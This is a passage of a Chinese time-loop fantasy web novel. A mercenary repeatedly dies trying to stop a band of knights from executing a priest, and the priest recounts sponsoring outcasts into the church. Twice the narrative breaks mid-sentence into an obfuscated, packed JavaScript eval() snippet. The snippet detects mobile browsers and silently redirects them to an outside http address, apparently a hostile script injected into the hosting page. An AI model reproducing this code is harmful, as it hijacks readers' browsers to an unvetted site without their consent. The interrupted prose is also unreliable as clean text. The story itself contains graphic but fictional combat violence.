他没有浪费时间。起身,走到墙边,那里已经刻满了混乱的符号和那个触目惊心的“40”。他用指甲在“40”下面划了一道新的、更深的横线。 未开始系统性地回忆、整理。不是用复杂的逻辑,而是用他雇佣兵时代处理猎物的方式,加上无数次死亡换来的、浸透血肉的体感记忆。 地点:墓园。开阔,有掩体,但对方有魔法探测,掩体作用有限。不利于他单兵游击,但对方面积大,需要分散搜索,这是唯一可能存在的缝隙。 敌人:四十人。不是乌合之众,是精锐。他回想起那些铠甲走路的节奏,几乎一致,沉重但异常协调。他们分成几个部分:最前面接触但的,通常是五人小队。这五人附近,一定还有其他人在更外围警戒,一旦有异动,那些阴影里就会冒出更多人,迅速完成合围。 装备:铠甲对物理攻击防御极高,关节处有微弱能量嗡鸣,可能不是纯物理防御。老师法术厉害,而且有防护力场。 模式:他们似乎有一个固定的流程。出现,对话,施压。在未引发更大混乱的轮回里,他们支援的速度极快,配合严密。他们并非有意带走但的生命,但是如果真的杀死但,也不会被追责。 未在纸上画下简陋的墓园地形,标出但通常站立的位置,那五人小队出现的方向,以及他几次隐约察觉到的外围警戒点可能的位置。他的画工拙劣,线条歪斜,但方位和距离感却透着一股冰冷的准确,那是用多次死亡视角换来的。 他需要武器。地堡里存货不多了。那把断掉的哑光匕首是好东西,但近战是找死。他翻出以前攒下的杂七杂八的东西:强腐蚀酸液,弩,燃烧粉末,电击棍。他拿起电击棍,握柄缠着脏兮兮的绝缘胶布,棍身冰冷。他记得有一次,他成功把这东西杵到了一个骑士铠甲的缝隙里,对方确实僵直了一下,大概不到一秒,然后就被旁边的同伴一刀劈了。电压不够,持续时间太短。而且,怎么保证能准确命中那些微小的缝隙? 他盯着电击棍,又看了看那几罐酸液。一个粗糙的念头浮现。 他找来一些废弃的导线和从旧设备上拆下来的、疑似电容的小零件。他不懂原理,只在黑市见过有人用类似的东西给武器“充能”,结果炸掉了半个摊位。他模仿着记忆中的样子,笨拙地将导线一端缠在电击棍的金属部位,另一端浸入酸液罐子。他不知道会不会有用,甚至不知道会不会先把自己炸飞。但这大概是唯一可能增强这点攻击力的办法。 准备武器只是第一步。更重要的是“测试”。测试敌人的反应极限,测试那些微小干预可能引发的连锁反应。 他尝试干扰那个空手法师。他提前在法师可能经过的路径上,撒了一点点燃烧粉末,用一根浸了油脂的细线连接,线的另一端藏在石头下。当法师靠近时,他拉动细线。粉末“噗”地爆开一小团短暂的火光和白烟。空手法师脚步一顿,袖袍无风自动,那无形的力场再次出现,将烟雾和火星轻易推开。他甚至低头看了一眼燃烧的粉末残留,眉头微皱,但随即就不再理会,仿佛那只是微不足道的尘埃。防护力场近乎本能,小规模干扰无效,反会引起注意,未记下。 他选了一个偏离主路径、但可能有骑士搜索经过的位置,将一罐酸液小心地半埋在土里,罐口用薄蜡封住,连着一根绊线。然后他躲在更远的地方观察。果然,一名负责侧翼搜索的骑士踩中了绊线。酸液溅出,大部分喷在骑士的腿甲上,发出剧烈的“嗤嗤”声,冒出刺鼻白烟。骑士闷哼一声,动作明显迟滞,低头查看。厚重的腿甲虽然被蚀出瘢痕和凹陷,却并没有被穿透。骑士咒骂着,用佩剑刮掉残留的酸液,行动似乎受了些影响,但远未丧失战斗力。而且,他立刻发出警报,附近两名骑士迅速靠拢。酸液有效,但不足以快速击穿铠甲,且会立刻暴露位置,引来围攻,未记下。 死亡,记录,分析,调整。循环往复。 未开始注意到一些更细微的东西。比如那个持杖法师(但的老师)在施法前,手指会有特定的屈伸顺序;比如那个空手法师,注意力几乎全在但身上,对侧后方的防范似乎依赖于那名始终离他三步远的重甲骑士;比如骑士们的阵型在移动时,侧翼某个位置偶尔会因为地形出现短暂的、微小的脱节。 未开始整合这些碎片。他拿起炭笔,在纸上画下最后一个箭头,指向那个被重重标记的“五人小队”中心。然后,他扯过一张新的、相对干净的纸,开始用最笨拙的线条,画出墓园的局部图,标注出几个关键位置,以及他需要放置“装置”和发动袭击的路线。 这不是战术图,这是一个绝望者用生命丈量出来的、通往唯一可能性的血腥草图。 他活动了一下脖颈,感受着身体里那股冰冷的、源源不断涌上的力量。那不是勇气,而是比绝望更深的某种东西——一种将自身也化为筹码、押上赌桌的绝对冷静。 下一次轮回,很快就会开始。而他,已经准备好了第一次真正意义上的“进攻”。 …… (以下以但的第一人称视角叙述) 这件事,现在想来,大概是我对“未”这个人,产生某种超出最初好奇的、近乎责任感的多事之举的开端。 通过那些古魔文纸条的往来,我隐约拼凑出他的处境:游走在危险边缘,对教会有种复杂向往,却可能因自身某些“不清白”的过往而却步。他提到过想进来,却只知蓝衣副主教那条路。 我知道那条路意味着什么。一笔天价奉献金,一份洗白的假档案,以及一个永远被打上交易而来烙印的起点。那是一条没有回头路、也永无真正上升可能的歧途。 而我,虽然只是个被流放于此的瑕疵品祭司,但身上毕竟还残留着穆希纳什王室的烙印。这烙印在这里,有时是枷锁,有时…也能变成一点微不足道的“方便”。教会高层里,总有人愿意对这一点王室背景睁只眼闭只眼,换取一些表面的和气,或者未来某种渺茫的、与北方城邦有关的可能性。 其中一项不成文的“方便”,就是我可以行使极有限的引荐权。不是推荐谁担任要职,那绝无可能。只是,在特定情况下,我可以以个人名义,向负责底层修士招募的执事厅提交一份特殊观察名单。名单上的人,可以绕过一部分过于严苛的出身审查,尤其是关于“双手是否染血”和“身体是否洁净”这两条铁律,只要其行为动机被解释为“在特定恶劣环境下为求自保或反抗压迫”,并且愿意以加倍劳作和贡献来赎罪,就有机会获得一个试炼身份。被引荐者进来后,依然是底层,依然辛苦,但至少,档案是相对真实的。 在此之前,我动用过两次这个权利。 第一个人,是个在矿场反抗监工虐杀同伴时,失手杀了人的奴隶。他身上背着好几条监察队的通缉令。我偶然在郊外废弃矿区发现他时,他只剩半口气,眼睛里的恨意和绝望像烧红的炭。我替他处理了追踪印记,观察了他一段时间,确认他并非嗜杀之人后,提交了引荐。理由写的是“于极端压迫下为护同伴而反抗,其行可悯,其性未泯”。 第二个人,更……麻烦一些。是个在底层娼馆挣扎的少年,身上有被迫沾染的污秽和疾病。我是在一次教会组织的、流于表面的“巡访”中注意到他的,他缩在最阴暗的角落,眼神空洞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16848507|191422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但当我放下一些药品时,他枯瘦的手指抓住我的袖角,一个字也说不出。我后来设法把他弄了出来,治疗,观察了很久。引荐的理由写得更加艰难,侧重于“身陷污浊非其本愿,于绝境中仍存一丝向洁之心”,并隐晦提及了某些逼迫他的势力与教会内部某些人或许存在的勾连,以此作为交换条件。 他们都进来了。以赎罪者的身份。干最累的活,拿最少的份例,但至少活了下来,有了一个勉强干净的起点。我知道他们偶尔还会在教堂里遇到我,总是远远地就低下头,加快脚步走开,从不与我交谈。这样很好。我们之间不需要任何额外的关联,那对他们,对我,都危险。 至于未……我观察他更久。从那些笨拙却执着的古魔文纸条,到他真的默默去清理墓园的无名冢。我看得到他眼中的冰冷与疲惫,也感觉得到那冰冷之下,某种未曾完全熄灭的、笨拙的挣扎。他和矿场那个人有些像,他的血,或许更多是溅在生存的刀刃上,而非掠夺或取乐。更重要的是,他让我看到了一种罕见的、沉默的坚持。 我认为,他比那两个人,或许更适合,也更值得一个相对干净的入口。至少,不该是从蓝衣副主教那里买一张注定廉价的入场券。 于是,在一次纸条往来中,我斟酌了很久,写下了邀请。他会再来问我,或者,通过其他方式暗示他的意愿。 我等了。 纸条依旧来来往往,他却再也没有问起过相关的话题。他问自习室,问药膏,问我的出身,却唯独没有再触碰关于如何进入教会的半点可能。我有些困惑,但想,或许他还没准备好,或许他没看懂,又或许……他根本不想走这条背负赎罪之名的路。 直到有一天,我路过执事厅外,偶然听到两位低阶执事一边整理新晋修士名录一边闲聊。 “这批新人里,有个叫‘默’的,贡献点一次交齐的,手笔不小啊。” “蓝衣主教那边打过招呼的,老规矩了。啧啧,也不知道以前是干什么的,反正现在档案干净得像张白纸。” “…… 我站在原地,手脚有些发凉。 默。我知道那是谁。他到底还是走了那条路。用钱,买了一个假名字,一份假档案,一个永远无法真正抬头的身份。 他甚至没有试着来问问我。 我那句隐晦的提示,他到底是没看懂,还是……根本不屑一顾?也许在他眼里,我这个自身难保的瑕疵品祭司,所谓的引荐和缝隙,不过是无用的空话,远不如真金白银换来的门票实在。 一种混合着失望、自嘲和淡淡受伤的情绪笼罩了我。是我太自以为是了。我以为我看到了他冰冷下的挣扎,以为我能提供一个稍微好一点的选项。可事实上,他或许从未想过要依靠我,甚至从未将我看作一个可能的助力。 也好。这样更简单。 那之后,我听说他拼命刷贡献值,被其他修士排挤孤立。我想象着他穿着灰色修士服,低着头,在那套僵化的体系里徒劳冲撞的样子,心里并无多少波澜。这是他选的路,该承受的代价。 只是后来,有一次无意间听到负责仓库的执事提起,说新来的默干活倒是卖力,就是独来独往,不过之前引荐进来的那两个赎罪者,倒好像没跟着其他人一起为难他,有时还会默默帮他留一份不至于太清汤寡水的饭菜。 我正整理书卷的手微微一顿。 是吗…… 原来他们记得。 不是记得我,而是记得他们自己来的路,记得在泥泞中被人拉过一把的感觉。所以,当他们看到另一个同样挣扎、却选择不同路径的人时,没有落井下石,反而保留了一丝无声的、同病相怜的善意。 这发现让我怔了好一会儿,心里那点因未的选择而产生的淡淡郁结,忽然消散了不少,甚至泛起一丝极微弱的、连自己都诧异的欣慰。 或许,我做的并非全无意义。 至少,那两个人,在这令人窒息的灰色洪流里,还记得一点来自幽暗处、本不求回报的微光,并且,将这微光,以他们沉默的方式,折射给了另一个孤独挣扎的灵魂。 至于未…… 23. 【十一】 黑暗有股陈年骨灰的味道,未在那种熟悉的、令人作呕的甜腥气里猛地睁开眼。不是惊醒,是某种蛮横的力量将他破碎的躯体重新捏合,把四散的意识从虚无中打捞起来,掷回这具早已千疮百孔的容器。耳畔依旧残留着声音,那不是记忆,是感官衔接死亡与新生的缝隙里漏进来的、上一轮终结的余响——咚、咚。但的血,温热的,沉重的,砸在教堂冰冷地砖上的声音,黏腻地贴在他的太阳穴内侧敲打,比心跳更顽固。 他蜷缩着,指甲无意识地在身下粗糙的石面上刮擦,直到指尖传来钻心的痛,借着石缝透进的惨淡天光,他看到指甲盖翻起,露出下面粉白的肉和更深处一点骨头的颜色。他盯着那点白,看了很久,才迟钝地意识到:自己又回来了。生死之誓冰冷地贴着他的胸口,他把它拽出来,摊在膝头。书页空白处,多了一幅用某种暗褐色液体潦草勾勒的画:一个歪扭的火柴人,脖子处喷溅出许多短线,周围密密麻麻围绕着四十个尖角朝上的三角。他认得那些三角,那是骑士头盔的轮廓,他在教堂彩窗的反光里,在盔甲金属的冷光中,看过无数次。 未不懂黑主教的教义,不知道什么叫圣痕,不懂这次强制的劫掠意味着什么。他把脸埋进膝盖,肩膀剧烈地耸动,却没有眼泪。眼泪是太奢侈的东西,他的身体早在第一次看见但倒下时,就忘了该怎么流泪。 不能停。停下来,那些画面就会像墓穴里的藤蔓一样缠上来,勒断他赖以呼吸的某种东西。他猛地站起身,头撞在低矮的裂缝顶部,眼前金星乱冒。他不在乎。他在裂缝里摸索,找到上次藏在这里的碎玻璃片,又扯下几把石缝里生长、气味辛辣的苦艾草,用石头捣烂,挤出暗绿色的汁液。 然后,他就在裂缝粗糙的内壁上,拿出生死之誓,写下上次的行动轨迹。这些记录是他的锚,把他钉在这个充满但的死亡气息的现实里,防止自己在一次次回溯中彻底疯掉或彻底遗忘。 做完这一切,摸了摸裤袋。换来的黑市电击棍硬硬地硌着他的大腿。 有用吗?有一点,但是不如没用。 他钻出墓园裂缝。天是铅灰色的,压得很低。空气里有雨水的潮气和远处垃圾焚烧的酸味。他像一道灰影,贴着墙根,避开偶尔巡逻的教会机械眼,再次朝着教堂的方向摸去。不是去送死,不是去重复那绝望的十八秒。是去观察,去背板,去收集下一次准备所需的记忆碎片。 教堂矗立在灰蒙蒙的街区中心,尖顶刺破低垂的云层。未没有从正门接近,那里有穿着闪亮盔甲、雕像般肃立的骑士。他绕到侧面,那里有一排排水管和装饰性的石兽。他像一只灵活的壁虎,顺着潮湿滑腻的石壁向上爬,指甲抠进砖缝,脚寻找着微不足道的凸起。最后,他趴在了教堂侧面一尊滴水兽石像的背上。石兽张开翅膀,正好为他提供了一点遮挡。从这里,透过巨大的、描绘着圣徒受难故事的彩窗,他能看到教堂内部的一部分:灯火通明的圣坛,长排的祷告椅,还有……那个穿着白色祭司袍的熟悉身影。 但正在擦拭圣器,动作缓慢而专注,银色的头发在烛光下泛着柔和的光泽。未的呼吸屏住了,手指紧紧抠住石兽冰冷的石翼。他看着他,像看着一个易碎的幻影。上一次,就是在这里,他眼睁睁看着一切发生。 时间一点点流逝。未数着他们的人数,辨认着他们的装备。有些拿着长长的、顶端有钩锁和链条的武器,有些穿着更精良的盔甲,腰配长剑,在后方指挥,还有几个穿着不同颜色袍子的人,手里拿着法杖或提着箱子。他们在巡逻,在交谈,在固定位置站岗。未试图记住他们的路线,他们转身的频率。 他看着但试图后退,却被一个手持钩锁的骑士挡住了去路。链条哗啦作响,像毒蛇一样甩出,缠住了但的脚踝。但踉跄了一下,没有摔倒,手里却多了一个小小的、闪着微光的东西——像是某种护身符或印章。他把它举向逼近的骑士。 “以圣痕之名……”但的声音微弱,但带着某种未无法理解的庄严。 回答他的是一记沉重的盾击,砸在他的侧腹。但闷哼一声,弯下腰。更多的链条缠了上来,束缚他的手臂,他的身体。他挣扎,像落入蛛网的飞蛾。那些穿着袍子的医疗术士中,有一人快步上前,手中的法杖亮起柔和的绿光,似乎想点在但的伤口上。但就在法杖即将触及的瞬间,但胸口衣襟破裂的地方,皮肤下仿佛有微弱的、不规则的金色光芒急促地闪动了一下。那医疗术士像是被烫到一样,猛地缩回手,法杖的光芒也变得紊乱。 “如果你保持反抗……”一个洪亮而充满厌恶的声音响起,来自那个盔甲最华丽、站在后方指挥的骑士长。他猛地抽出佩剑,那剑刃在烛光下流淌着冷冽的光泽。“殿下说了,杀了也没事。净化!” 剑光一闪。 但的身体僵住了,颈侧爆开一团刺目的红。血,很多的血,喷溅出来,染红了白色的祭司袍,溅到了圣坛的台阶上,甚至有几滴,似乎穿越了彩窗的阻隔和遥远的距离,烫在了未的眼球上。 18秒。 骑士长甩了甩剑上的血,还剑入鞘,发出冷酷的摩擦声。医疗术士们上前,检查,摇头。骑士们开始有条不紊地解除链条,收拾现场,仿佛刚才处决的不是一个人,只是清理了一件不洁的物品。 虽然理智告诉未早就该介入了,但是身体怎么也无法动弹。他抱着头,蜷缩成一团,浑身不受控制地颤抖。不是恐惧,是一种更深的、更空洞的东西,像内脏被掏空后灌进了冰水。那18秒的每一个细节,都带着血腥味,刻进了他的脑海。 他在檐槽里不知道呆了多久,直到夜色完全降临,冰冷的雨水打在他的身上。他慢慢地、僵硬地爬起来,沿着来路,像个幽灵一样溜回墓园裂缝。 裂缝里,苦艾草汁抹过的刻痕在黑暗中看不真切。未摸到那面墙,把额头抵在冰冷的刻痕上。然后,他再次掏出生死之誓。 他先画了一道门,然后画了一条短竖线。他伸出自己的手掌,回忆着教堂大门的比例,在竖线旁艰难地画下另一条更长的线,代表他估算的距离。骑士团进入的地方,离门锁大约有他十二根手指并拢那么宽。这个距离意味着什么?他不知道,但他记下了。也许下次,他可以提前在门轴附近做点什么?放点什么能让人滑倒的东西?或者,那里是不是结构更脆弱?剑飞过祭坛,大概是一次深呼吸的时间。从骑士长拔剑、挥出,到剑刃斩中但的脖子,时间短得令人绝望。 画完这些,他精疲力竭地滑坐在地上,背靠着冰冷的石壁。裤袋里的电击棍依然硌着他。怎么做?直接跳下去,砸碎彩窗?那会立刻成为所有骑士的目标。从正门潜入?门口有守卫,而且大门厚重。也许……可以利用教堂的其他入口?通风口?排水管?他记得教堂侧面似乎有个低矮的小门,是运送杂物用的,通常只有后勤人员出入,守卫可能会松懈。 能试的都试过了,勇气居然也会有用完的那一天。 未开始在脑海里,一遍又一遍地演练。演练如何从墓园悄无声息地移动到教堂侧面,演练如何避开可能的巡逻,演练如何打开或撬开那扇杂物门,演练进入后第一眼应该看哪里,第一步应该冲向谁…… 他想象着自己按下电击棍的开关,想象着它发出滋滋的声响,想象着把它戳进骑士盔甲的缝隙——脖颈后面?腋下?关节内侧?他回忆着那些骑士活动时,盔甲叶片掀开的瞬间露出的内衬。哪里最容易接触皮肤? 想得头痛欲裂,许多细节模糊不清,充满未知。但未强迫自己想下去。这是他现在唯一能做的准备。在脑海中,他经历了无数次失败,被长剑刺穿,被盾牌砸碎骨头,被钩锁缠住勒断脖颈。每一次想象中的死亡,都让他身体的肌肉条件反射般绷紧、颤抖。 时间逆流。他钻出了裂缝,再次融入了城市黎明前最深的灰色阴影之中。他沿着规划好的、在脑海中描绘了无数次的路线移动,动作因为紧张而略显僵硬,但出乎意料地顺利。杂物门果然只有一把简单的挂锁,他用铁丝和蛮力弄开了它,门轴发出轻微的呻吟,在寂静中显得格外刺耳,但幸运的是,没有引起注意。门后是一条堆满清洁工具和旧烛台的狭窄走廊,散发着灰尘和蜡油的味道。未侧身挤进去,心跳如擂鼓。 他贴着潮湿的墙壁,一点点向前挪动。教堂主厅的声音隐约传来——清晨祷告的吟唱?还是骑士集结的金属摩擦声?他分辨不清。走廊尽头是一扇虚掩的木门,透过门缝,能看到主厅摇曳的烛光和一部分圣坛。 他看到了但。祭司背对着这个方向,正在整理圣坛上的织物,身影在巨大的彩窗投下的光影中显得单薄而宁静。未的喉咙发紧。他握紧了手中的电击棍,拇指虚按在开关上。 就在这时,教堂深处的钟声再次敲响,短促而急促。 未用尽全身力气,撞开了那扇虚掩的木门,冲进了主厅。他的出现如此突兀,像一颗投入平静水面的石子。离他最近的一个后勤人员惊愕地转头,未看也没看,左手挥出,一块边缘锋利的碎玻璃划过了对方裸露的手腕(他记得这人卷起了袖子),那人惨叫一声。 未的目标明确,他朝着离但最近的那个钩锁骑士冲去!他的速度很快,带着一种豁出一切的疯狂。那骑士显然没料到背后会突然冒出袭击者,仓促间想收回甩出的链条防御,但未已经扑到近前。他右手握着的电击棍,狠狠戳向骑士颈甲和头盔的连接处——那里有一道缝隙!他的拇指用力按下了开关! 什么也没有发生。 没有滋滋的电流声,没有火花,骑士甚至没有颤抖一下。那根棍子只是冰冷地、无力地顶在金属缝隙里。未愣住了,他甚至下意识又按了几下开关。 骑士的反应慢了半拍,但随即暴怒。他丢开原本瞄准但的钩锁,巨大的、戴着铁手套的拳头狠狠砸在未的胸口。未听到自己肋骨发出不堪重负的呻吟,整个人向后飞起,撞在祷告椅上,又滚落在地,眼前发黑,剧痛淹没了他。 他又失败了。他的准备像个笑话。他躺在地上,口中涌上腥甜的血沫,视线模糊地看向圣坛方向。但已经被其他几个钩锁骑士缠住,链条捆住了他的手臂和身体,他徒劳地挣扎,看向未的方向,眼睛里充满了未无法理解的震惊和……焦急? 骑士长冰冷的目光扫过未,像看一只碍事的虫子。“处理掉。” 另一个骑士大步走来,长剑出鞘,剑尖对准了未的胸口。未想躲,但断裂的肋骨让他动弹不得。他最后看到的画面,是但被人用钝器猛击后脑,软软倒下的身影,然后是刺向自己心脏的、越来越大的剑尖。 黑暗。 熟悉的、带着骨灰甜腥味的黑暗。墓园裂缝的冰冷触感。 “呃……”未猛地蜷缩起来,剧烈的咳嗽,咳出的却只有虚无的痛苦。他复活了。又一次。电击棍还握在他手里,冰冷,死寂。他把它举到眼前,在昏暗的光线下,发疯似的按着那个开关。没反应。没反应!他把它狠狠砸向石壁,一下,又一下!绝缘胶布崩开,里面简陋的、已经有些变形的零件露了出来。一根电线断了,焊接点松脱。 骗子。那个黑市的老骗子。或者,这东西本来就是坏的,或者需要他不懂的“充电”。而他,像个傻瓜一样,把它当成了希望,当成了可以依赖的“准备”。 绝望像冰冷的潮水,再一次淹没了他,他连一个像样的武器也买不到。 未躺在裂缝里,很久很久,仿佛一具真正的尸体。然后,他慢慢地、极其缓慢地坐了起来。脸上没有任何表情,只有一片死寂的空白。他摸索着,找到生死之誓。 他画了一个小人,手里拿着一根棍子,棍子戳在另一个戴三角头的小人脖子上。然后,他在棍子上画了一个大大的“×”。接着,他又画了第二个场景:小人被打飞,第三个小人被很多链条缠住,头上有一个表示打击的符号。 刻完,他盯着这些简陋的图画。失败。彻头彻尾的失败。 …… 未醒来。没有惊醒,没有战栗,只是一种存在状态的切换,像机器接通电源。鼻腔里残留的,是上一轮终结时的气味:铁锈、臭氧、微腥、苦味。 他爬起来,啐出一口带血的唾沫。骨头在响,皮肉在疼,脑子里更疼。像有无数根锈钉子在里面搅。每次回来都这样,带着上次、上上次、记不清哪次的死法一起回来。 他看见教堂彩窗的光,看见但的影子在里面移动,慢吞吞地,和以前每一次一样。 烦。烦透了。 这念头不是今天才有,但今天特别清楚,像把钝刀子慢慢割开蒙在脑子上的那层东西。他以前还会想,这次能不能快一点,这次能不能准一点,这次但会不会……活下来。 想明白了又怎样? 未低头,看了看自己的手。手掌上有新的擦伤,是上次倒地时蹭的。这双手试过推,试过拉,试过捡起石头砸,试过徒劳地去挡。结果都一样。但的血溅上来,温的,然后变冷。 一股火猛地从胃里烧上来,烧得他眼珠子发干,喉咙发紧。不是愤怒,比愤怒更难受。是那种眼睁睁看着水从破桶里漏光,怎么堵都堵不住的烦躁。是钉子一直往脑子里钉,拔不出来也敲不进去的钝痛。 够了。 他救不了。也许从来就救不了。 那扇门里面,是让他死了一遍又一遍的人。是让但死了一遍又一遍的人。 那股烦躁的火猛地炸开,烧掉了最后一点犹豫。救不了,那就不救了。他脑子里只剩下一个念头,清晰得吓人: 杀光他们。 一个都别剩。 他动了。没有猫腰,没有隐藏,就从巷子阴影里走出去,朝着教堂侧面那扇他知道锁扣已经朽烂的小门走过去。脚步踩在石板上的声音,重得他自己都能听见。肩膀擦过粗糙的砖墙,留下一点皮屑。他脑子里空荡荡的,没有计划,只有记忆。 他伸手,抵住那扇小门,在门内脚步声转向另一头的瞬间,肩背发力,猛地一撞。 “砰!” 门向内弹开,撞在墙上。不算响,但足够让里面的人转头。 是个年轻骑士,正低头调整护腕,闻声愕然抬头。他看见一个浑身湿漉漉、眼神像两块黑石头的人闯了进来。他张嘴,大概想喝问。 未没给他机会。年轻人抬头的角度,脖子完全暴露。未记得这个角度,记得这身制式颈甲靠近下巴那里,有个为了活动留出的缝隙,不大,但足够。 他冲过去,不是跑,是像一袋被扔出去的石头,带着全部体重和那股无处发泄的烦躁。左手向上挥,不是拳头,是并拢的指节,目标是那个缝隙下方柔软的喉结。 “呃!” 年轻人闷哼一声,眼睛凸出来,手里的护腕掉在地上,双手徒劳地去抓脖子。未撞在他身上,两人一起踉跄后退。未的手指深深陷进对方喉部的皮肉,能感觉到软骨在压力下变形、碎裂。他另一只手已经抓住年轻人腰间的短剑剑柄,用力一抽。 短剑出鞘,带起一道冷光。未看也没看,反手就把剑从年轻人自己颈甲和胸甲连接的侧面缝隙里捅了进去。那里不是要害,但足够深,足够让年轻人像上岸的鱼一样剧烈抽搐起来,却发不出像样的声音。 未松开他,任由他靠着墙滑下去。他手里握着那把沾血的短剑,剑柄湿滑,有汗,有别人的血。 他转过身。门厅里暂时只有他们俩。但远处的喧哗正在迅速靠近。未朝声音的方向走去。脚步不轻也不重,握着剑的手很稳,但指尖在不受控制地微微颤抖。不是害怕,是身体里那股火在烧,烧得他肌肉发紧,牙关咬得咯吱响。每靠近一步,脑子里就自动翻涌出更多的“记得”:前面拐角右边会冲出一个人,武器是长戟,挥动时左边会有空当;左边柱子后面可能藏着另一个,喜欢偷袭下盘。 果然,拐角冲出持戟的骑士,看到未和地上的同伴,怒吼一声,长戟横扫过来,戟刃破风。 未记得这一扫。他猛地蹲身,戟刃从他头顶掠过,刮掉了额前几缕头发。他没等对方收势,矮身前扑,短剑从下往上,狠狠扎进对方大腿内侧没有甲片覆盖的地方——那里有大血管。剑身没入大半,温热粘稠的血瞬间喷涌出来,溅了未一脸。 骑士惨叫,长戟脱手,人向后倒去。未被带得一个趔趄,但他死死握着剑柄不放,借着对方倒下的力量把剑拔了出来,带出更多血肉。血糊住了他一只眼睛,视野里一片猩红。他用袖子胡乱抹了一把,嘴里尝到咸腥味。 左边柱子后的骑士趁机扑出,剑刺向未的腰肋。未记得这家伙。他没完全躲开,让剑尖划开了侧腰的皮肉,火辣辣的疼瞬间炸开。这疼痛非但没让他退缩,反而像往火里浇了油。他顺着剑势转身,动作因为腰伤而有些扭曲,但更快。左手抓住了对方持剑的手腕,指甲抠进皮肉里。右手握着的短剑没有刺,而是用剑柄厚重的配重球,狠狠砸向对方头盔和颈甲连接处的侧面——那里是太阳穴的位置,隔着盔甲震荡也够受。 “咚!” 沉闷的撞击声。骑士脑袋一歪,动作僵了一瞬。未趁机膝盖抬起,重重顶在他小腹的甲片上。力量不够破甲,但足以让对方岔气。趁对方弯腰,未夺过了他手里的剑,一脚把他踹开,自己手里现在有了长短两把武器。 更多的脚步声从主厅方向涌来。至少三个人,穿着重甲,脚步声闷雷一样。未喘着气,腰间的伤口汩汩冒血,流到大腿上,温热粘稠。他低头看了一眼,扯了扯嘴角。他提着剑,主动迎着脚步声走去。脑子里的记忆碎片疯狂翻涌:这三个是标准三角阵型,中间主攻,两边策应。中间那个力气最大,但每次重劈后,右侧会因为发力而微微失衡,露出大概半次心跳时间的破绽。左边那个速度最快,习惯刺咽喉,但突刺时前倾,下盘不稳。右边那个……右边那个总是慢半拍,喜欢补刀。 未踏入主厅后方的回廊。三个重甲骑士正好冲到面前,看到他满身是血、手持双剑的样子,明显顿了一下。 “拦住他!”中间那个吼道,双手巨剑已经扬起。 未没停。他朝左边最快那个冲过去,作势要攻。左边骑士果然挺剑疾刺,直取咽喉。未在最后一刹那猛地刹住,身体向后仰,剑尖擦着他下巴掠过。同时,他右手的短剑脱手掷出,不是瞄人,是瞄向右边那个慢半拍骑士的脸——干扰他的视线。 就在左边骑士一剑刺空、身体前倾的瞬间,未一直蓄力的左手长剑动了。不是砍,不是刺,是由下而上一个狠辣的撩击,剑刃精准地切入对方膝弯后方——那里甲片层叠,但关节处总有薄弱。 “噗嗤!” 剑刃切开皮革和内衬,深深嵌入血肉,卡在了骨头上。左边骑士惨嚎着单膝跪地。未松开剑柄,合身扑上,把跪地的骑士撞向中间那个刚刚挥下巨剑、正处于旧力已尽新力未生那一刻的骑士长。 两人撞作一团。未趁机从跪地骑士的腰侧拔出了对方的备用短刀。这时,右边被短剑干扰的骑士反应过来,一剑劈向未的后脑。 未仿佛背后长眼,猛地朝前一滚,狼狈但有效地躲开了这一剑。他滚到墙边,顺手抓起地上一个不知道是装饰还是废弃的铁制烛台,手感沉甸甸的。 他背靠着墙爬起来。腰间的血已经把半边裤子浸透,左腿有点使不上劲。眼前三个敌人,一个跪着抱着腿惨叫,暂时废了;中间那个被同伴撞得恼火,正试图推开;右边那个再次举剑逼来。 未盯着右边那个。记得他,补刀的那个。动作有点僵,可能是盔甲某个关节不太灵光。 未没等他靠近,突然把手里沉重的铁烛台朝他脚前地面砸去! 火星四溅。骑士下意识低头或闪避,动作一滞。未等的就是这个。他像一头受伤的狼,拖着那条不利索的腿猛扑过去,不是用武器,而是用身体,狠狠撞在骑士的侧腰。 骑士穿着重甲,这下撞击并不致命,但足够让他失去平衡,朝旁边趔趄。未缠上去,左手死死箍住他持剑的手臂,右手握着的短刀疯狂地朝他盔甲的缝隙里扎、捅、撬!腋下,颈侧,大腿根……哪里看起来能进去就扎哪里!金属刮擦的刺耳声、刀刃入肉的闷响、骑士吃痛的怒吼和未自己粗重的喘息混在一起。 骑士用戴着手套的拳头猛砸未的头和背,咚咚作响。未眼前发黑,耳朵里嗡嗡叫,嘴里全是血味,不知道是谁的。但他就是不松手,只是更用力地把短刀往一个感觉刺进去了的地方旋拧! 骑士的挣扎渐渐弱了。未把他推开,自己也跟跄着后退,背靠住一根柱子才没倒下。他手里还攥着那把卷了刃的短刀,刀身上挂着一缕破碎的内衬和碎肉。 中间那个骑士长终于推开了碍事的同伴,巨剑指向未,面甲后的眼睛喷着怒火。“杂种……”他声音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16848508|191422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 低沉。 未看着他,抹了把脸上的血。脑子里关于这个骑士长的记忆最清晰,也最让他烦躁。力量悬殊,技巧悬殊,盔甲更是天差地别。硬拼,死路一条。他试过。 但这次不一样。他不想活了,至少不想像以前那样活了。他只想在倒下前,把脑子里那些关于这个骑士长会怎么杀死他的记忆,统统变成现实的反面。 骑士长踏步上前,巨剑带着风雷之势拦腰横斩,想要把未直接腰斩在柱子上。 